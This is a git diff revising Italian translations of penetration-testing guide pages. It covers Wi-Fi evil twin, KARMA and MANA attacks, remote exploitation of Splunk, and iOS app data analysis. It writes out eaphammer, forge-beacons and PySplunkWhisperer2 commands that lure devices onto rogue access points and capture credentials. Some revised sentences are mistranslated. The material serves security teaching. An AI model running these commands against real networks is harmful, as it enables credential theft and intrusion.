```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
Oppure usando Airgeddon: `Options: 5,6,7,8,9 (dentro il menu attacco Evil Twin).`
|
||||
Oppure usando Airgeddon: `Options: 5,6,7,8,9 (all'interno del menu attacco Evil Twin).`
|
||||
|
||||
.png>)
|
||||
|
||||
Si prega di notare che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. Puoi provare a DoS il vero AP e sperare che l'utente si connetta manualmente al tuo Evil Twin aperto, oppure potresti DoS il vero AP e usare un WPA Evil Twin per catturare il handshake (utilizzando questo metodo non sarai in grado di far connettere la vittima a te poiché non conosci il PSK, ma puoi catturare l'handshake e provare a decifrarlo).
|
||||
Si prega di notare che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. Puoi provare a DoS l'AP reale e sperare che l'utente si connetta manualmente al tuo Evil Twin aperto, oppure puoi DoS l'AP reale e utilizzare un WPA Evil Twin per catturare il handshake (utilizzando questo metodo non sarai in grado di far connettere la vittima a te poiché non conosci il PSK, ma puoi catturare il handshake e provare a decifrarlo).
|
||||
|
||||
_Alcuni OS e AV avviseranno l'utente che connettersi a una rete aperta è pericoloso..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
Puoi creare un **Evil Twin usando WPA/2** e se i dispositivi sono configurati per connettersi a quel SSID con WPA/2, cercheranno di connettersi. Comunque, **per completare il 4-way-handshake** hai anche bisogno di **conoscere** la **password** che il client utilizzerà. Se **non la conosci**, la **connessione non sarà completata**.
|
||||
Puoi creare un **Evil Twin utilizzando WPA/2** e se i dispositivi sono configurati per connettersi a quel SSID con WPA/2, cercheranno di connettersi. Comunque, **per completare il 4-way-handshake** hai anche bisogno di **conoscere** la **password** che il client utilizzerà. Se **non la conosci**, la **connessione non sarà completata**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
@ -549,7 +549,7 @@ Per impostazione predefinita, EAPHammer propone questi metodi di autenticazione
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
Questa è la metodologia predefinita per evitare lunghi tempi di connessione. Tuttavia, puoi anche specificare al server i metodi di autenticazione dal più debole al più forte:
|
||||
Questa è la metodologia predefinita per evitare tempi di connessione lunghi. Tuttavia, puoi anche specificare al server i metodi di autenticazione dal più debole al più forte:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
@ -589,16 +589,16 @@ E guarda il nuovo **"tab Decrypted TLS"**:
|
||||
|
||||
### Liste nere/rosse di ESSID e MAC
|
||||
|
||||
Diversi tipi di Liste di Filtri di Controllo degli Accessi ai Media (MFACLs) e i loro corrispondenti modi ed effetti sul comportamento di un Access Point (AP) non autorizzato:
|
||||
Diversi tipi di Liste di Filtri di Controllo degli Accessi ai Media (MFACLs) e i loro corrispondenti modi ed effetti sul comportamento di un Access Point (AP) fraudolento:
|
||||
|
||||
1. **Whitelist basata su MAC**:
|
||||
- L'AP non autorizzato risponderà solo alle richieste di probe da dispositivi specificati nella whitelist, rimanendo invisibile a tutti gli altri non elencati.
|
||||
- L'AP fraudolento risponderà solo alle richieste di probe da dispositivi specificati nella whitelist, rimanendo invisibile a tutti gli altri non elencati.
|
||||
2. **Blacklist basata su MAC**:
|
||||
- L'AP non autorizzato ignorerà le richieste di probe da dispositivi sulla blacklist, rendendo effettivamente l'AP non autorizzato invisibile a quei dispositivi specifici.
|
||||
- L'AP fraudolento ignorerà le richieste di probe da dispositivi sulla blacklist, rendendo effettivamente l'AP fraudolento invisibile a quei dispositivi specifici.
|
||||
3. **Whitelist basata su SSID**:
|
||||
- L'AP non autorizzato risponderà alle richieste di probe solo per specifici ESSID elencati, rendendolo invisibile ai dispositivi la cui Lista di Reti Preferite (PNL) non contiene quegli ESSID.
|
||||
- L'AP fraudolento risponderà alle richieste di probe solo per specifici ESSID elencati, rendendolo invisibile ai dispositivi le cui Liste di Rete Preferite (PNL) non contengono quegli ESSID.
|
||||
4. **Blacklist basata su SSID**:
|
||||
- L'AP non autorizzato non risponderà alle richieste di probe per gli specifici ESSID sulla blacklist, rendendolo invisibile ai dispositivi che cercano quelle reti particolari.
|
||||
- L'AP fraudolento non risponderà alle richieste di probe per gli specifici ESSID sulla blacklist, rendendolo invisibile ai dispositivi che cercano quelle particolari reti.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
@ -620,33 +620,33 @@ name3
|
||||
```
|
||||
### KARMA
|
||||
|
||||
Questo metodo consente a un **attaccante di creare un punto di accesso (AP) malevolo che risponde a tutte le richieste di probe** da parte dei dispositivi che cercano di connettersi a reti. Questa tecnica **inganna i dispositivi facendoli connettere all'AP dell'attaccante** mimando le reti che i dispositivi stanno cercando. Una volta che un dispositivo invia una richiesta di connessione a questo AP fraudolento, completa la connessione, portando il dispositivo a connettersi erroneamente alla rete dell'attaccante.
|
||||
Questo metodo consente a un **attaccante di creare un punto di accesso (AP) malevolo che risponde a tutte le richieste di probe** da parte dei dispositivi che cercano di connettersi a reti. Questa tecnica **inganna i dispositivi facendoli connettere all'AP dell'attaccante** mimando le reti che i dispositivi stanno cercando. Una volta che un dispositivo invia una richiesta di connessione a questo AP non autorizzato, completa la connessione, portando il dispositivo a connettersi erroneamente alla rete dell'attaccante.
|
||||
|
||||
### MANA
|
||||
|
||||
Poi, **i dispositivi hanno iniziato a ignorare le risposte di rete non richieste**, riducendo l'efficacia dell'attacco karma originale. Tuttavia, un nuovo metodo, noto come **attacco MANA**, è stato introdotto da Ian de Villiers e Dominic White. Questo metodo prevede che l'AP fraudolento **catturi le Liste di Rete Preferite (PNL) dai dispositivi rispondendo alle loro richieste di probe broadcast** con nomi di rete (SSID) precedentemente richiesti dai dispositivi. Questo attacco sofisticato elude le protezioni contro l'attacco karma originale sfruttando il modo in cui i dispositivi ricordano e danno priorità alle reti conosciute.
|
||||
Poi, **i dispositivi hanno iniziato a ignorare le risposte di rete non solide**, riducendo l'efficacia dell'attacco karma originale. Tuttavia, un nuovo metodo, noto come **attacco MANA**, è stato introdotto da Ian de Villiers e Dominic White. Questo metodo prevede che l'AP non autorizzato **catturi le Liste di Rete Preferite (PNL) dai dispositivi rispondendo alle loro richieste di probe broadcast** con nomi di rete (SSID) precedentemente solidi dai dispositivi. Questo attacco sofisticato elude le protezioni contro l'attacco karma originale sfruttando il modo in cui i dispositivi ricordano e danno priorità alle reti conosciute.
|
||||
|
||||
L'attacco MANA opera monitorando sia le richieste di probe dirette che quelle broadcast dai dispositivi. Per le richieste dirette, registra l'indirizzo MAC del dispositivo e il nome della rete richiesta, aggiungendo queste informazioni a un elenco. Quando viene ricevuta una richiesta broadcast, l'AP risponde con informazioni che corrispondono a una delle reti nell'elenco del dispositivo, attirando il dispositivo a connettersi all'AP fraudolento.
|
||||
L'attacco MANA opera monitorando sia le richieste di probe dirette che quelle broadcast dai dispositivi. Per le richieste dirette, registra l'indirizzo MAC del dispositivo e il nome della rete richiesta, aggiungendo queste informazioni a un elenco. Quando viene ricevuta una richiesta broadcast, l'AP risponde con informazioni che corrispondono a una delle reti nell'elenco del dispositivo, attirando il dispositivo a connettersi all'AP non autorizzato.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Loud MANA
|
||||
|
||||
Un **attacco Loud MANA** è una strategia avanzata per quando i dispositivi non utilizzano il probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Funziona sul principio che **i dispositivi nella stessa area sono probabilmente inclini a condividere alcuni nomi di rete nelle loro PNL**. Invece di rispondere in modo selettivo, questo attacco trasmette risposte ai probe per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e tenti di connettersi al Punto di Accesso (AP) malevolo.
|
||||
Un **attacco Loud MANA** è una strategia avanzata per quando i dispositivi non utilizzano il probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Funziona sul principio che **i dispositivi nella stessa area sono probabilmente inclini a condividere alcuni nomi di rete nelle loro PNL**. Invece di rispondere in modo selettivo, questo attacco trasmette risposte di probing per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e tenti di connettersi al Punto di Accesso (AP) malevolo.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon attack
|
||||
|
||||
Quando l'**attacco Loud MANA** potrebbe non essere sufficiente, l'**attacco Known Beacon** presenta un altro approccio. Questo metodo **forza il processo di connessione simulando un AP che risponde a qualsiasi nome di rete, ciclano attraverso un elenco di potenziali ESSID** derivati da una wordlist. Questo simula la presenza di numerose reti, sperando di abbinare un ESSID all'interno del PNL della vittima, inducendo un tentativo di connessione all'AP fabbricato. L'attacco può essere amplificato combinandolo con l'opzione `--loud` per un tentativo più aggressivo di catturare i dispositivi.
|
||||
Quando l'**attacco Loud MANA** potrebbe non essere sufficiente, l'**attacco Known Beacon** presenta un altro approccio. Questo metodo **forza il processo di connessione simulando un AP che risponde a qualsiasi nome di rete, ciclando attraverso un elenco di potenziali ESSID** derivati da una wordlist. Questo simula la presenza di numerose reti, sperando di abbinare un ESSID all'interno del PNL della vittima, provocando un tentativo di connessione all'AP fabbricato. L'attacco può essere amplificato combinandolo con l'opzione `--loud` per un tentativo più aggressivo di catturare i dispositivi.
|
||||
|
||||
Eaphammer ha implementato questo attacco come un attacco MANA dove tutti gli ESSID all'interno di un elenco sono caricati (puoi anche combinare questo con `--loud` per creare un attacco Loud MANA + Known beacons):
|
||||
Eaphammer ha implementato questo attacco come un attacco MANA in cui tutti gli ESSID all'interno di un elenco sono caricati (puoi anche combinare questo con `--loud` per creare un attacco Loud MANA + Known beacons):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
**Attacco Known Beacon Burst**
|
||||
|
||||
L'**attacco Known Beacon Burst** comporta **la trasmissione rapida di frame beacon per ogni ESSID elencato in un file**. Questo crea un ambiente denso di reti false, aumentando notevolmente la probabilità che i dispositivi si connettano all'AP malevolo, specialmente se combinato con un attacco MANA. Questa tecnica sfrutta la velocità e il volume per sopraffare i meccanismi di selezione della rete dei dispositivi.
|
||||
L'**attacco Known Beacon Burst** comporta la **trasmissione rapida di frame beacon per ogni ESSID elencato in un file**. Questo crea un ambiente denso di reti false, aumentando notevolmente la probabilità che i dispositivi si connettano all'AP malevolo, specialmente se combinato con un attacco MANA. Questa tecnica sfrutta la velocità e il volume per sopraffare i meccanismi di selezione della rete dei dispositivi.
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
@ -657,9 +657,9 @@ L'**attacco Known Beacon Burst** comporta **la trasmissione rapida di frame beac
|
||||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct** è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando Wi-Fi senza la necessità di un tradizionale punto di accesso wireless. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra i dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di punto di accesso, noto come proprietario del gruppo, per gestire la connessione.
|
||||
**Wi-Fi Direct** è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando il Wi-Fi senza la necessità di un punto di accesso wireless tradizionale. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di punto di accesso, noto come proprietario del gruppo, per gestire la connessione.
|
||||
|
||||
La sicurezza per le connessioni Wi-Fi Direct è stabilita attraverso **Wi-Fi Protected Setup (WPS)**, che supporta diversi metodi per il pairing sicuro, tra cui:
|
||||
La sicurezza per le connessioni Wi-Fi Direct è stabilita tramite **Wi-Fi Protected Setup (WPS)**, che supporta diversi metodi per il pairing sicuro, tra cui:
|
||||
|
||||
- **Push-Button Configuration (PBC)**
|
||||
- **PIN entry**
|
||||
|
||||
@ -39,9 +39,9 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
|
||||
```
|
||||
**Sfruttamenti pubblici utilizzabili:**
|
||||
|
||||
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
- https://www.exploit-db.com/exploits/46238
|
||||
- https://www.exploit-db.com/exploits/46487
|
||||
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
|
||||
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
|
||||
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
|
||||
|
||||
## Abusare delle Query di Splunk
|
||||
|
||||
|
||||
@ -20,22 +20,22 @@ ios-testing-environment.md
|
||||
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
Durante il testing **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire nessuna di queste azioni, per favore, **inizia a leggere la pagina**:
|
||||
Durante il testing **verranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, per favore, **inizia a leggere la pagina**:
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Per i seguenti passaggi **l'app dovrebbe essere installata** nel dispositivo e dovrebbe aver già ottenuto il **file IPA** dell'applicazione.\
|
||||
> Leggi la pagina [Basic iOS Testing Operations](basic-ios-testing-operations.md) per imparare come fare.
|
||||
> [!TIP]
|
||||
> Per i passaggi successivi **l'app dovrebbe essere installata** nel dispositivo e dovrebbe aver già ottenuto il **file IPA** dell'applicazione.\
|
||||
> Leggi la pagina [Basic iOS Testing Operations](basic-ios-testing-operations.md) per sapere come fare.
|
||||
|
||||
### Basic Static Analysis
|
||||
|
||||
Alcuni interessanti decompilatori iOS - IPA:
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
È consigliato utilizzare lo strumento [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) per eseguire un'analisi statica automatica sul file IPA.
|
||||
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Controlla l'analisi dinamica che [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) esegue. Dovrai navigare tra le diverse visualizzazioni e interagire con esse, ma effettuerà il hooking di diverse classi mentre esegue altre operazioni e preparerà un rapporto una volta completato.
|
||||
Controlla l'analisi dinamica che [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) esegue. Dovrai navigare tra le diverse visualizzazioni e interagire con esse, ma si occuperà di collegare diverse classi mentre esegue altre operazioni e preparerà un rapporto una volta completato.
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -152,7 +152,7 @@ PID Name Identifier
|
||||
- Camera com.apple.camera
|
||||
- iGoat-Swift OWASP.iGoat-Swift
|
||||
```
|
||||
### Enumerazione di Base & Hooking
|
||||
### Basic Enumeration & Hooking
|
||||
|
||||
Impara come **enumerare i componenti dell'applicazione** e come **hookare metodi e classi** con objection:
|
||||
|
||||
@ -160,7 +160,7 @@ Impara come **enumerare i componenti dell'applicazione** e come **hookare metodi
|
||||
ios-hooking-with-objection.md
|
||||
{{#endref}}
|
||||
|
||||
### Struttura IPA
|
||||
### IPA Structure
|
||||
|
||||
La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando la sua estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente impacchettata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione.
|
||||
|
||||
@ -171,16 +171,16 @@ La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compr
|
||||
- **`PlugIns/`**: Questo può includere estensioni all'applicazione, note come file `.appex`, anche se non sono sempre presenti. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti della tua applicazione per l'uso offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'app su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data rispecchia automaticamente il tuo schema in un contenitore CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti di lingua che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
|
||||
- **Sicurezza**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali.
|
||||
- **Gestione degli Asset**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive.
|
||||
- **Frameworks e PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`).
|
||||
- **Localizzazione**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche.
|
||||
- **Security**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali.
|
||||
- **Asset Management**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive.
|
||||
- **Frameworks and PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`).
|
||||
- **Localization**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
Il **Info.plist** funge da pietra miliare per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di **coppie chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni delle app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dai permessi dell'app alle configurazioni di sicurezza. Per un'esplorazione dettagliata delle chiavi disponibili, si può fare riferimento alla [**Documentazione per Sviluppatori Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
Il **Info.plist** funge da pietra miliare per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di **coppie chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni delle app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dai permessi dell'app alle configurazioni di sicurezza. Per un'esplorazione dettagliata delle chiavi disponibili, si può fare riferimento alla [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere effettuata facilmente utilizzando `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
|
||||
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere effettuata senza sforzo utilizzando `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
|
||||
|
||||
- **Per macOS**:
|
||||
```bash
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Tra la miriade di informazioni che il file **Info.plist** può rivelare, le voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
|
||||
Tra la miriade di informazioni che il file **Info.plist** può rivelare, voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -202,7 +202,7 @@ Nell'ambiente iOS, le directory sono designate specificamente per **applicazioni
|
||||
> [!WARNING]
|
||||
> Poiché le applicazioni in iOS devono essere sandboxed, ogni app avrà anche una cartella all'interno di **`$HOME/Library/Containers`** con **`CFBundleIdentifier`** dell'app come nome della cartella.
|
||||
>
|
||||
> Tuttavia, entrambe le cartelle (dati e cartelle contenitore) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`).
|
||||
> Tuttavia, entrambe le cartelle (cartelle dati e cartelle contenitore) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`.
|
||||
|
||||
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo strumento **objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
|
||||
```bash
|
||||
@ -230,17 +230,17 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Questo è il pacchetto dell'applicazione come visto prima nell'IPA, contiene dati essenziali dell'applicazione, contenuti statici e il binario compilato dell'applicazione.
|
||||
- Questa directory è visibile agli utenti, ma **gli utenti non possono scriverci**.
|
||||
- Il contenuto in questa directory **non è sottoposto a backup**.
|
||||
- I contenuti di questa cartella sono utilizzati per **convalidare la firma del codice**.
|
||||
- I contenuti di questa cartella sono utilizzati per **validare la firma del codice**.
|
||||
|
||||
**Directory dei dati:**
|
||||
|
||||
- **Documents/**
|
||||
- Contiene tutti i dati generati dall'utente. L'utente finale dell'applicazione avvia la creazione di questi dati.
|
||||
- Visibile agli utenti e **gli utenti possono scriverci**.
|
||||
- Il contenuto in questa directory **è sottoposto a backup**.
|
||||
- Il contenuto in questa directory è **sottoposto a backup**.
|
||||
- L'app può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/**
|
||||
- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione della lista di proprietà (plist).
|
||||
- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione plist.
|
||||
- Le app iOS di solito utilizzano le sottodirectory `Application Support` e `Caches`, ma l'app può creare sottodirectory personalizzate.
|
||||
- **Library/Caches/**
|
||||
- Contiene **file cache semi-persistenti.**
|
||||
@ -255,7 +255,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- **Library/Preferences/**
|
||||
- Utilizzato per memorizzare proprietà che possono **persistere anche dopo che un'applicazione è stata riavviata**.
|
||||
- Le informazioni vengono salvate, non crittografate, all'interno della sandbox dell'applicazione in un file plist chiamato \[BUNDLE_ID].plist.
|
||||
- Tutti i coppie chiave/valore memorizzate utilizzando `NSUserDefaults` possono essere trovate in questo file.
|
||||
- Tutte le coppie chiave/valore memorizzate utilizzando `NSUserDefaults` possono essere trovate in questo file.
|
||||
- **tmp/**
|
||||
- Utilizza questa directory per scrivere **file temporanei** che non devono persistere tra i lanci dell'app.
|
||||
- Contiene file cache non persistenti.
|
||||
@ -263,7 +263,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Il contenuto in questa directory non è sottoposto a backup.
|
||||
- Il sistema operativo può eliminare automaticamente i file di questa directory quando l'app non è in esecuzione e lo spazio di archiviazione è scarso.
|
||||
|
||||
Diamo un'occhiata più da vicino alla directory del pacchetto dell'applicazione iGoat-Swift (.app) all'interno della directory del pacchetto (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Diamo un'occhiata più da vicino alla directory del pacchetto dell'applicazione di iGoat-Swift (.app) all'interno della directory del pacchetto (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -295,7 +295,7 @@ DVIA-v2:
|
||||
```
|
||||
**Controlla se l'app è crittografata**
|
||||
|
||||
Vedi se c'è qualche output per:
|
||||
Verifica se c'è qualche output per:
|
||||
```bash
|
||||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||||
```
|
||||
@ -315,7 +315,7 @@ DVIA-v2:
|
||||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||||
0000000100004ad0 add x10, x10, #0x268
|
||||
```
|
||||
Per stampare il **segmento Objective-C** dell'applicazione di esempio si può usare:
|
||||
Per stampare il **segmento Objective-C** dell'applicazione di esempio, si può usare:
|
||||
```bash
|
||||
otool -oV DVIA-v2
|
||||
DVIA-v2:
|
||||
@ -371,15 +371,15 @@ ios-basics.md
|
||||
|
||||
### Plist
|
||||
|
||||
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averla utilizzata intensamente per vedere se nuovi dati vengono scritti.
|
||||
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averlo utilizzato intensamente per vedere se vengono scritti nuovi dati.
|
||||
|
||||
Il modo più comune per persistere i dati nei file plist è attraverso l'uso di **NSUserDefaults**. Questo file plist è salvato all'interno del sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`**
|
||||
Il modo più comune per persistere i dati nei file plist è attraverso l'uso di **NSUserDefaults**. Questo file plist è salvato all'interno della sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornisce un'interfaccia programmatica per interagire con il sistema predefinito. Il sistema predefinito consente a un'applicazione di personalizzare il proprio comportamento in base alle **preferenze dell'utente**. I dati salvati da `NSUserDefaults` possono essere visualizzati nel pacchetto dell'applicazione. Questa classe memorizza **dati** in un **file plist**, ma è destinata ad essere utilizzata con piccole quantità di dati.
|
||||
|
||||
Questi dati non possono più essere accessibili direttamente tramite un computer fidato, ma possono essere accessibili eseguendo un **backup**.
|
||||
|
||||
Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** usando `ios nsuserdefaults get` di objection.
|
||||
Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** con il comando `ios nsuserdefaults get` di objection.
|
||||
|
||||
Per trovare tutti i plist utilizzati dall'applicazione, puoi accedere a `/private/var/mobile/Containers/Data/Application/{APPID}` e eseguire:
|
||||
```bash
|
||||
@ -436,7 +436,7 @@ NSLog(@"data stored in core data");
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) è un archivio chiave/valore costruito su SQLite.\
|
||||
Poiché i database Yap sono database sqlite, puoi trovarli utilizzando il comando proposto nella sezione precedente.
|
||||
|
||||
### Altri database SQLite
|
||||
### Altri Database SQLite
|
||||
|
||||
È comune per le applicazioni creare il proprio database sqlite. Potrebbero **memorizzare** **dati** **sensibili** su di essi e lasciarli non crittografati. Pertanto, è sempre interessante controllare ogni database all'interno della directory delle applicazioni. Pertanto, vai alla directory dell'applicazione dove i dati sono salvati (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
@ -463,7 +463,7 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
|
||||
|
||||
$ find ./ -name "*.realm*"
|
||||
```
|
||||
